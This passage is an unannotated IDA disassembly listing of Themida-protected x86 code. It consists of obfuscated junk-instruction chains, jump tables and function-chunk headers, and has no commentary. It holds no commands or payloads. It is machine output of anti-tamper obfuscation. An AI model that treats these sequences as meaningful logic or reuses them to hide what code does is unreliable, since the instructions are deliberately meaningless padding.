CHUNK FOR sub_58B4D6 loc_594DE0: ; CODE XREF: sub_58B4D6+C938j mov [esp+10h+var_10], ebx jmp loc_5931A2 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- loc_594DE8: ; CODE XREF: Themida_:0058E82Ej sub ebx, edx pop edx xchg ebx, [esp] pop esp mov [esp], edi push dword ptr [esp+4] mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58C71E ; --------------------------------------------------------------------------- loc_594E0D: ; CODE XREF: Themida_:loc_58C776j ; Themida_:005977B5j add esp, 4 jmp loc_58F325 ; --------------------------------------------------------------------------- loc_594E15: ; CODE XREF: Themida_:0058C1A7j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push dword ptr [esp] push dword ptr [esp] pop eax push esi mov esi, esp push 3631h mov [esp], edi mov edi, 54BC13D0h inc edi jmp loc_5914C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_594E3C: ; CODE XREF: sub_58C17E+618Bj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-0Eh+arg_8+2] pop esp xchg edi, [esp-12h+arg_C+2] pop esp mov ecx, [esp-16h+arg_10+2] sub esp, 4 mov [esp-12h+arg_C+2], eax mov eax, esp push ebp jmp loc_58D35B ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_594E63: ; CODE XREF: Themida_:loc_594AD9j jmp loc_59143A ; --------------------------------------------------------------------------- loc_594E68: ; CODE XREF: Themida_:0058C40Ej mov edi, esi jmp loc_58B6FB ; --------------------------------------------------------------------------- loc_594E6F: ; CODE XREF: Themida_:0058BE11j push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push edx push dword ptr [esp+4] pop edx jmp loc_58ACE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_594E8C: ; CODE XREF: sub_5919E2-44FAj mov [esp+0], edi mov edi, 0D6F6CAAh sub [ecx], edi mov edi, [esp+0] add esp, 4 mov ecx, [esp-4+arg_0] add esp, 4 jmp loc_59348F ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- loc_594EA7: ; CODE XREF: Themida_:005940D1j xor esi, 5E1109A9h shr esi, 5 inc esi jnz loc_594F7F shl esi, 6 jmp loc_597D69 ; --------------------------------------------------------------------------- mov cx, [esp] push edx loc_594EC4: ; CODE XREF: Themida_:00590D0Dj sub bl, 45h pop eax add bl, 0F8h jmp loc_592863 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5951B9 loc_594ED0: ; CODE XREF: sub_5951B9-808Cj push edx sub esp, 4 mov [esp+10h+var_10], esp add [esp+10h+var_10], 4 pop edx jmp sub_58E3A6 ; END OF FUNCTION CHUNK FOR sub_5951B9 ; --------------------------------------------------------------------------- loc_594EE4: ; CODE XREF: Themida_:005967F5j inc ah jnz loc_594A59 shl ah, 3 jmp loc_58F7ED ; --------------------------------------------------------------------------- push ax mov ah, 66h add cl, ah pop edi mov esp, [esp] jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_594F03: ; CODE XREF: sub_5938B9-4FCj not ecx jmp loc_591FB3 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_594F0A: ; CODE XREF: sub_5EC2E8-5987Fj pop ebx push 7527h mov [esp+22h+var_24+2], ebx mov bl, 82h and bl, 0E1h not bl push dx push eax jmp loc_596FEE ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_594F22: ; CODE XREF: Themida_:0058CE61j push ebx push 213C21DDh jmp loc_595E70 ; --------------------------------------------------------------------------- lodsb xor al, bl sub esp, 4 mov [esp], edx jmp loc_58BF53 ; --------------------------------------------------------------------------- loc_594F3E: ; CODE XREF: Themida_:00591370j pop ebp push edi mov edi, 24451ED6h shr edi, 4 or edi, 269808D6h ja loc_593359 and edi, 5CE47035h jmp loc_59350A ; --------------------------------------------------------------------------- mov ch, dh pop ebx push dword ptr [esp] pop eax sub esp, 4 mov [esp], ecx mov ecx, esp push esi jmp loc_59754A ; --------------------------------------------------------------------------- loc_594F77: ; CODE XREF: Themida_:0058D231j xor edi, [esp] jmp loc_58CE15 ; --------------------------------------------------------------------------- loc_594F7F: ; CODE XREF: Themida_:00594EB1j shl esi, 6 jmp loc_5969A0 ; --------------------------------------------------------------------------- mov cx, [esp] push edx push esp mov edx, [esp] add esp, 4 push edi mov edi, 81A1318h push ebp mov ebp, 81A1314h sub edi, ebp pop ebp add edx, 0D607D4h add edx, edi jmp loc_594AEA ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_594FBE: ; CODE XREF: Themida_:0058C1D2j pop ebx dec ebx jmp loc_58F2F9 ; --------------------------------------------------------------------------- loc_594FC5: ; CODE XREF: Themida_:0058AC37j dec ebp jl loc_58CB12 inc ebp jl loc_5968D9 dec ebp sub al, 0E7h ; =============== S U B R O U T I N E ======================================= sub_594FD6 proc near ; CODE XREF: sub_5938B9-14F3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058B154 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058ECCD SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00591B43 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00594B37 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00597062 SIZE 00000014 BYTES sub esp, 4 mov [esp+4+var_4], ecx push eax mov ah, bh mov ch, ah jmp loc_594B37 sub_594FD6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_594FE9: ; CODE XREF: sub_59524C+174Fj mov esi, 2C306A0Bh jmp loc_58D30A ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- loc_594FF3: ; CODE XREF: Themida_:005941ACj add eax, 4 push edx mov edx, 4 add eax, edx pop edx xchg eax, [esp] mov esp, [esp] add esp, 4 push esi jmp loc_5922BD ; --------------------------------------------------------------------------- loc_595010: ; CODE XREF: Themida_:0058C382j push ebx push eax mov ah, 0A8h mov bl, ah pop eax jmp loc_58F34B ; --------------------------------------------------------------------------- loc_59501C: ; CODE XREF: Themida_:0058CA67j add esp, 2 sub bx, 7DA1h jmp loc_597D94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_59502C: ; CODE XREF: sub_595123-71DAj pop esp mov [esp+10h+var_10], ebp mov ebp, 4 add ebx, ebp push [esp+10h+var_10] pop ebp push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_591C8F ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_59504C: ; CODE XREF: Themida_:00593FDEj mov [esp], ecx mov ch, 1Dh push small 441Eh mov [esp], dx mov dh, 7 add ch, dh pop dx add al, ch mov ecx, [esp] add esp, 4 jmp loc_59463F ; --------------------------------------------------------------------------- loc_59506C: ; CODE XREF: Themida_:0058C9B6j push 73F7h mov [esp], ecx jmp loc_597EC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_595079: ; CODE XREF: sub_59762D-4C92j inc byte ptr [esp+1] pop ecx xchg ch, dh shl dh, 5 push cx jmp loc_58CEDC ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_59508A: ; CODE XREF: sub_590467+211Ej push edx mov edx, 44656E6Ah or edi, edx pop edx dec edi add edi, 86A5D203h add esi, edi pop edi mov edx, esi pop esi sub eax, 761A4B16h add eax, edx push ecx mov ecx, 151859F7h and ecx, 766F536Ah jmp loc_59519B ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_591369 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5950C1: ; CODE XREF: sub_59762D-7DCCj pop edx push 6071h mov [esp+0], ecx mov ch, 86h push ecx mov ecx, esp add ecx, 4 jmp loc_590EAE ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_5950DA: ; CODE XREF: Themida_:00590897j sub [esp+8], edi sub dword ptr [esp+8], 48EC0BCAh jmp loc_5960C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5950EB: ; CODE XREF: sub_58C17E+4875j xor esi, 0A3B8F40Eh mov eax, esi mov esi, [esp+4+var_4] add esp, 4 shr eax, 3 shr eax, 6 xor eax, 7A013650h xor edi, eax mov eax, [esp+0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+4+var_4] jmp loc_594D40 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_59511D: ; CODE XREF: Themida_:00592329j push ecx jmp loc_5967A4 ; =============== S U B R O U T I N E ======================================= sub_595123 proc near ; CODE XREF: sub_592857-42Dj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058AFE2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058B321 SIZE 00000044 BYTES ; FUNCTION CHUNK AT 0058B9C9 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0058BEED SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058CFF1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058D497 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0058D931 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058D9F0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058DF3A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058E0CB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058E175 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058E61A SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0058EA29 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0058EDF3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058F42A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00590701 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00590F4F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00591613 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00591765 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00591C8F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00592139 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00592BDB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00593289 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059350A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005944BC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00594675 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059502C SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005952D8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005953CC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00595A83 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00595FF0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059653F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059757F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005979AF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00597C55 SIZE 00000010 BYTES sub esp, 4 mov [esp+0Ch+var_C], ecx mov ecx, 27632137h dec ecx xor ecx, 0E3C37ADh sub esp, 4 mov [esp+10h+var_10], eax mov eax, 48DB7DCDh add ecx, 676F02CEh add ecx, 42C02BDCh sub ecx, eax sub ecx, 42C02BDCh push ebx mov ebx, 222D7F14h xor ebx, 45427DDAh sub ecx, ebx jmp loc_58D931 sub_595123 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_595167: ; CODE XREF: Themida_:0058AFBAj xor edi, edx pop edx inc edi jg loc_59062C jmp loc_58E6D6 ; --------------------------------------------------------------------------- push dword ptr [esp] pop edx push edx mov edx, esp mov esi, ebx loc_59517F: ; CODE XREF: Themida_:0059609Ej mov esp, [esp] mov fs:[edx], al jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59518A: ; CODE XREF: sub_58F5B5+25B6j ; Themida_:00597B92j add eax, 7C780284h add eax, ebx sub eax, 7C780284h jmp loc_58C25B ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_59519B: ; CODE XREF: sub_590467+4C4Cj and ecx, 5F654888h shr ecx, 4 xor ecx, 775A4F16h add eax, ecx pop ecx pop edx sub eax, 2 xchg eax, [esp-0Ch+arg_8] jmp loc_58EBAB ; END OF FUNCTION CHUNK FOR sub_590467 ; =============== S U B R O U T I N E ======================================= sub_5951B9 proc near ; CODE XREF: sub_58F5B5-24CFj ; Themida_:0058DC82j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058D126 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00594ED0 SIZE 00000014 BYTES sub esp, 4 mov [esp+4+var_4], ecx jmp loc_58D126 sub_5951B9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_5951C7: ; CODE XREF: sub_5EC2E8:loc_58A82Ej or dl, 77h sub dl, 8Fh jmp loc_5904A9 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_5951D2: ; CODE XREF: Themida_:0058A564j inc dword ptr [esp] pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_5951DB: ; CODE XREF: Themida_:00592AE7j pop edx add eax, 1D836EBBh sub eax, ecx sub eax, 1D836EBBh push ebx jmp loc_58CFDD ; --------------------------------------------------------------------------- loc_5951EE: ; CODE XREF: Themida_:0058A633j push ebx jmp loc_597E6D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5951F4: ; CODE XREF: sub_59762D-6D66j ; Themida_:00594A39j neg ebp or ebp, 7AD04679h add ebp, 0F2D51E0h push ebx jmp loc_5979B7 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_595208: ; CODE XREF: Themida_:0058C2C0j movsx cx, al push 1FC6h mov [esp], edi mov edi, esp push ebx push esi jmp loc_58DE9F ; --------------------------------------------------------------------------- loc_59521D: ; CODE XREF: Themida_:00591208j mov [esp], edi mov edi, 3EE23178h xor edi, 359306B3h sub edi, 0B7137C7h jmp loc_58A39E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_595236: ; CODE XREF: sub_58C17E-16j sub ecx, 0F992A9Ah add ecx, edi add ecx, 0F992A9Ah mov edi, [esp-6+arg_0+2] jmp loc_58E7DF ; END OF FUNCTION CHUNK FOR sub_58C17E ; =============== S U B R O U T I N E ======================================= sub_59524C proc near ; CODE XREF: sub_5EC2E8-5B047j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 0058A65E SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0058AFD0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058BA94 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058BF07 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058BF7E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058D1C9 SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0058D30A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058DF06 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058E132 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058E3E5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058E839 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0058E923 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058F7ED SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058FA59 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059125D SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005920D4 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00593320 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00594C30 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00594FE9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059594F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00595B92 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00595D14 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059699A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005975EA SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00597A63 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00597F97 SIZE 0000000D BYTES push ebx mov ebx, 16AC7617h push edx jmp loc_58E3E5 sub_59524C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_595258 proc near ; CODE XREF: sub_590010+4B86j var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058A40F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058B596 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058B997 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058BD59 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0058C673 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058C8BC SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058CCEF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058DFAC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058DFC2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058E3DD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058EC6C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058F5AE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058F8F2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058F916 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058FEF5 SIZE 0000005B BYTES ; FUNCTION CHUNK AT 0059183E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591B8F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591E6E SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00592EC5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00592FF7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00594868 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00596CF6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00597116 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005971A0 SIZE 0000001C BYTES push ebp jmp loc_597116 sub_595258 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_59525E: ; CODE XREF: Themida_:00590FAFj add eax, 4 xchg eax, [esp] pop esp push 456h mov [esp], ecx push esp pop ecx sub esp, 4 mov [esp], eax jmp loc_594D6B ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_593386 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_595288: ; CODE XREF: sub_5EC2E8-58CFEj add ecx, 4 xor ecx, [esp+34h+var_34] xor [esp+34h+var_34], ecx xor ecx, [esp+34h+var_34] pop esp loc_595295: ; CODE XREF: sub_58DBC4+3C3Ej sub esp, 4 mov [esp+34h+var_34], ebp mov ebp, ebx push 60AAh mov [esp+38h+var_38], ebp mov eax, [esp+38h+var_38] push edx jmp loc_593BFB ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_5952AE: ; CODE XREF: Themida_:0058E4DBj ; sub_5916CB-30E9j mov [esp+0Ch+var_C], eax push 59920CA8h mov eax, [esp+10h+var_10] add esp, 4 sub esp, 4 mov [esp+10h+var_10], ebp push eax mov eax, 0A66DF358h mov ebp, eax mov eax, [esp+14h+var_14] add esp, 4 jmp loc_596671 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_5952D8: ; CODE XREF: sub_595123+ED9j push [esp+18h+var_14] pop edx jmp loc_5979AF ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_5952E2: ; CODE XREF: Themida_:00593387j mov ebx, esp sub esp, 4 mov [esp], ebp push 584Dh mov [esp], eax push 0A2D209Bh pop eax add eax, 6EB14403h mov ebp, eax pop eax push ebp not dword ptr [esp] mov ebp, [esp] add esp, 4 neg ebp dec ebp jmp loc_5908DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_595318: ; CODE XREF: sub_59762D-CA10j xor al, 0F6h push ebx mov bl, al jmp loc_58DEAF ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_595322: ; CODE XREF: Themida_:00590A12j pop ebx mov bh, dh pop edx push cx mov cl, 0C7h add bh, cl pop cx sub al, 30h sub al, bh add al, 30h mov ebx, [esp] add esp, 4 push cx push 68B2h mov [esp], ebx mov bh, 2Dh mov ch, bh pop ebx add bl, ch pop cx push small 6EBEh mov [esp], ax push ebx mov bh, 0BCh xor bh, 0F1h mov al, bh jmp loc_593BCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_595365: ; CODE XREF: sub_5938B9-4188j jmp loc_591573 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_59536A: ; CODE XREF: Themida_:0059428Bj push 157Dh jmp loc_596DCD ; --------------------------------------------------------------------------- loc_595374: ; CODE XREF: Themida_:005964D6j add ecx, 3EE91676h jnb loc_58CC99 inc ecx sub ecx, 20490312h mov cl, 28h push ebx ; START OF FUNCTION CHUNK FOR sub_5936D6 loc_59538A: ; CODE XREF: sub_5936D6+3153j pop edx mov eax, [esp+0] add esp, 4 jmp loc_591215 ; END OF FUNCTION CHUNK FOR sub_5936D6 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_58B992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_5953A1: ; CODE XREF: sub_5916CB-2150j ; sub_5916C4-105Bj xor ecx, [esp+8+var_8] xor [esp+8+var_8], ecx xor ecx, [esp+8+var_8] pop esp mov [esp+4+var_4], edx jmp sub_58B03F ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_5953B3: ; CODE XREF: Themida_:0058BFB5j jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_5953B8: ; CODE XREF: Themida_:00591FAEj pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_58C050 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5953C4: ; CODE XREF: Themida_:0059131Ej ; sub_58C17E+8734j xor [esp+4+var_4], ebp jmp loc_5907BF ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_5953CC: ; CODE XREF: sub_595123+245Ej mov edx, esp push ebp jmp sub_58C17E ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_5953D4: ; CODE XREF: Themida_:0058F825j mov [esp], ebp push 53BE0650h mov ebp, [esp] add esp, 4 shl ebp, 6 jmp loc_594098 ; --------------------------------------------------------------------------- loc_5953EA: ; CODE XREF: Themida_:00592102j add esp, 4 sub esp, 4 mov [esp], ecx push esp mov ecx, [esp] add esp, 4 push edx push ecx mov ecx, 4 mov edx, ecx mov ecx, [esp] jmp loc_5922E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_595411: ; CODE XREF: sub_590467-50FEj inc ebp jo loc_5974C0 jmp loc_593CE3 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_59541D: ; CODE XREF: Themida_:0058F19Bj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_58E329 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_595431: ; CODE XREF: sub_5916C4+610Ej mov cl, dh mov bl, cl jmp loc_594390 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_59543A: ; CODE XREF: Themida_:00595C1Dj shr bh, 3 inc bh jp loc_590CF7 xor bh, 0E0h mov ah, bh jmp loc_591280 ; --------------------------------------------------------------------------- loc_59544F: ; CODE XREF: Themida_:0058DCFAj mov eax, 61AD291Eh xor eax, 6F7440AEh sub ebp, eax pop eax xor ebp, 744337B5h sub ebp, 8572AF5Fh add ecx, 6ECD030Eh add ecx, ebp sub ecx, 6ECD030Eh jmp loc_592A7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_59547B: ; CODE XREF: sub_5916C4-3C2Aj add eax, 67371400h add eax, ebx push ebx mov ebx, 67371400h sub eax, ebx pop ebx push 1B17h mov [esp-0Ch+arg_8], esi push edi mov edi, 0BB0B99h mov esi, edi jmp loc_597F43 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5954A0: ; CODE XREF: sub_58C17E+947Fj mov esi, 4 add ecx, esi pop esi jmp loc_592784 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_5954AD: ; CODE XREF: Themida_:005970F0j add eax, 7A53A2CDh mov esi, eax pop eax push edx mov edx, 60CBF0ECh sub esi, edx pop edx mov edi, esi mov esi, [esp] add esp, 4 add eax, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_58FC60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590C09 loc_5954DA: ; CODE XREF: sub_594FD6-62F9j ; sub_590C09+3j pop ecx pop ebx jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_590C09 ; --------------------------------------------------------------------------- loc_5954E1: ; CODE XREF: Themida_:00593A7Ej xor ebp, 11DB0959h shr ebp, 2 add ebp, 50391213h xor ebp, 38B66D62h add edx, ebp jmp loc_597567 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5954FD: ; CODE XREF: sub_59762D-9A8Cj add edi, ebp pop ebp sub edi, 0E9065A7h sub edi, 50C11B4h add edi, esi add edi, 50C11B4h push ebx jmp loc_593F18 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_59551A: ; CODE XREF: Themida_:0059052Dj pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ebx jmp loc_58A74D ; --------------------------------------------------------------------------- loc_595529: ; CODE XREF: Themida_:0058D632j pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_594D26 ; --------------------------------------------------------------------------- loc_595538: ; CODE XREF: Themida_:0058C44Bj not ebx sub ebx, 8F5A17F5h sub eax, ebx pop ebx sub eax, 53C40480h sub eax, ebx jmp loc_590D1B ; --------------------------------------------------------------------------- loc_59554F: ; CODE XREF: Themida_:00590A63j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx jmp loc_58FD43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_595564: ; CODE XREF: sub_5919E2-4E0Bj mov ebp, esi pop esi add esi, ebp pop ebp add edx, esi pop esi jmp loc_5902BF ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_595572: ; CODE XREF: sub_58F5B5-74Dj pop ecx neg esi dec esi add esi, offset byte_42404D sub eax, 7DFF51DDh jmp loc_59626C ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_595586: ; CODE XREF: Themida_:0058F8D1j mov ebp, 57B44BA4h jmp loc_58D6DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_595590: ; CODE XREF: sub_59762D-145Aj pop ebx shl ebp, 5 js loc_5923D6 jmp loc_591B3D ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- shr ecx, 4 neg ecx mov edi, ebp ; =============== S U B R O U T I N E ======================================= sub_5955A6 proc near ; CODE XREF: sub_596CA1-8150j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058AD69 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005974C0 SIZE 00000046 BYTES sub esp, 4 mov [esp+4+var_4], eax mov ah, 65h jmp loc_5974C0 sub_5955A6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5955B6: ; CODE XREF: Themida_:0058E719j add esp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push ecx mov ecx, esp add ecx, 4 jmp loc_58FBAF ; --------------------------------------------------------------------------- loc_5955D1: ; CODE XREF: Themida_:005912AFj 